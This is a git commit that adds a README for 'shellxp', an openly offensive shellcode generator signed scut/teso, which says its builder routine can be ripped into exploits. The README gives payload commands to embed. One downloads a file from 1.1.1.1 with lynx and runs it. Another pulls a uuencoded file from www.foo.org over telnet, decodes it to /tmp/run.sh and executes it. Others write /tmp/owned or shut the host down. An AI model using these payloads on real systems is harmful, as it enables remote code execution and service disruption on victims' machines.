From 5d3573ef7a109ee70416fe94db098fe6a769a798 Mon Sep 17 00:00:00 2001
From: SkyperTHC
Date: Tue, 3 Mar 2026 06:28:55 +0000
Subject: packetstorm sync

---
 other/shell/README | 38 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)
 create mode 100644 other/shell/README

(limited to 'other/shell/README')

diff --git a/other/shell/README b/other/shell/README
new file mode 100644
index 0000000..b6fbeaa
--- /dev/null
+++ b/other/shell/README
@@ -0,0 +1,38 @@
+
+gcc -o shellxp shellxp.c
+
+./shellxp commands ...
+
+or to exec the generated shellcode
+
+./shellxp exec commands ...
+
+
+either rip the sc_build routine into your exploits to directly create the
+shellcode on the fly, or prepare it.
+
+some examples:
+
+./shellxp /bin/sh -c "lynx -source 1.1.1.1/a>a;chmod +x a;./a"
+./shellxp /bin/sh -c "echo haha > /tmp/owned"
+./shellxp /sbin/shutdown -h now
+
+or especially fancy ;-)
+
+./shellxp /bin/sh -c "((echo GET /test/ HTTP/1.0;echo;sleep 5)|telnet www.foo.org 80)|uudecode;/tmp/run.sh"
+
+   (where /test/index.html is an uuencoded file that will uudecode to an executeable /tmp/run.sh file)
+   modify the "sleep 5" to an appropiate value to allow the file to get retrieved :-)
+
+(imagine some other fancy stuff in here :-)
+...
+
+-scut/teso.
+
+
+to modify the shellcode, use:
+
+gcc -o shellcode shellcode.c sc.s
+./shellcode      <-- will dump the code
+./shellcode foo  <-- will dump and run the code
+
-- 
cgit v1.3